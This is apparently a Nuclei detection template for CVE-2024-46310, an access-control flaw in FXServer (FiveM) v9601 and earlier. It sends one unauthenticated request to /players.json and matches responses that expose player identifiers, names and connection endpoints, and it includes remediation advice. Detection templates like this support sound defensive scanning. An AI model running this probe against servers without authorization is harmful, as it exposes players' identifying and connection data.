id: CVE-2024-46310

info:
  name: FXServer < v9601 - Information Exposure
  author: s4e-io
  severity: medium
  description: |
    Incorrect Access Control in FXServer version's v9601 and prior, for CFX.re FiveM, allows unauthenticated users to modify and read userdata via exposed api endpoint.
  impact: |
    Unauthenticated users can access and modify sensitive userdata including player identifiers and connection information.
  remediation: |
    Update FXServer to a version later than v9601 that patches the access control vulnerability.
  reference:
    - https://github.com/UwUtisum/CVE-2024-46310
    - https://vulmon.com/vulnerabilitydetails?qid=CVE-2024-46310
    - https://vulners.com/githubexploit/D31ED8EC-1E21-54F9-AD42-778DAFBC8B4E
  classification:
    epss-score: 0.02434
    epss-percentile: 0.82644
  metadata:
    verified: true
    max-request: 1
    vendor: fxserver
    product: fxserver
  tags: cve,cve2024,fxserver,info-leak,vuln

http:
  - raw:
      - |
        GET /players.json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"endpoint", "id", "identifiers", "name", "ping")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100c353511235150219c00da61184adb961d476c86383fa2c0785f545687776a002022017324a5b5c69e88be1df78b2a001a5cd29ad36d7c7caf9f4f969ef86a11a5130:922c64590222798bb761d5b6d8e72950